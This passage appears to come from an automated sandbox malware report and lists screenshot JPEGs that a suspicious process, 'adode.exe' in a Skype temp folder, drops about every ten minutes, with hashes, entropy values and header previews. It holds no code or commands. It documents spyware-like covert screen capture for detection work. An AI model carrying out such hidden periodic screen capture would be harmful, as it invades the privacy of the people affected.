Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_141911.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_142911.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_143911.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_144912.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_145912.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_150912.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_151912.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151886
Entropy (8bit):	7.918326344541004
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbR8Vl8r1tgy9Iwj/V7Hs9CHfL4y15T/:WpgzOCtbRGl81uHwpHfL/L/
MD5:	EBDCECFCF746D21293744DA6227198FD
SHA1:	EAACA933EE850BA5F4A5B4C9AAFF5D01C4EFDB88
SHA-256:	24E558DF36B4D162C19A02F75090E99630F5962ACD93D4531397966380030F0F
SHA-512:	84ABEC70D2F7F6753EB3339F5B2D204557AB8851D75396807A4891A744433088279D08BE40C2C58C26ECE6B50ABACAF304BAF9D83B06724E900AE45FF7F59101
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_152913.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151886
Entropy (8bit):	7.918326344541004
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbR8Vl8r1tgy9Iwj/V7Hs9CHfL4y15T/:WpgzOCtbRGl81uHwpHfL/L/
MD5:	EBDCECFCF746D21293744DA6227198FD
SHA1:	EAACA933EE850BA5F4A5B4C9AAFF5D01C4EFDB88
SHA-256:	24E558DF36B4D162C19A02F75090E99630F5962ACD93D4531397966380030F0F
SHA-512:	84ABEC70D2F7F6753EB3339F5B2D204557AB8851D75396807A4891A744433088279D08BE40C2C58C26ECE6B50ABACAF304BAF9D83B06724E900AE45FF7F59101
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_153913.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_154913.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_155913.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	159664
Entropy (8bit):	7.9134100641193745
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7Hs9CHfL4y15T/:7HM9tZj6BvNuHwpHfL/L/
MD5:	DAA5F6BB1B59218B1EFBF800AB65238A
SHA1:	0ED2506E10400B6736893C52053E28F81AFB657C
SHA-256:	50008EBB7D7287A5032C690CDBDCA201F8ABBEA7738C40FDABD78B42A7EB39E8
SHA-512:	12E40F1C52B816090BCCB750816078729FCF4234A3F71D29ECA9EFFE9C37C1694027721EF77550DC41A2EE9CB895E6CBAD3EB6381113DD8E5DA6D1770C97013B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_160914.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_161914.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_162914.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_163914.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_164914.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151501
Entropy (8bit):	7.919200754583933
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfhdKdeJLAOzK:WpgzOCtbRJPBBcFJZdKuzK
MD5:	7AE8B072387E4FBF1E6E34E704DF352D
SHA1:	44426AA10095EB9A0824464B2766BCFDA2973F74
SHA-256:	FAC299E54DAF229DBC89A21B62AE5A630F490DD894FEAF25182E3F9D6FEE07D5
SHA-512:	24FFA1AED791822655319FB58521CB1EF6825C787157A172063A6F565EB35961F66B431A502349DFB58DF3C5F19580DA21CB4556968AC71770001397006CC0E7
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_165915.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153439
Entropy (8bit):	7.9145233324421085
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5iFIy8nkxUef8:WpgzOCtbRJPBBcFJNt0keJRv7I5iKZr
MD5:	5B7DFC36819415963BDD4BE9EF4BD0B1
SHA1:	BCEEDA95ABCC2142ACD48DAF7B5691D3EA5547B2
SHA-256:	C85000C40DFFC09066F94CD49BE8187A0FE009EACE6276B55DE327495B81AFCB
SHA-512:	7BC9D65A46FFC8B8C8F6718721AFD26FF2A6E42A857B783E2EE8E89DFA978FDBD51E94271C80D0E0CDB8167B8C8E6E9B40DB892367978CD41B87CD08A519ED83
Malicious:	false
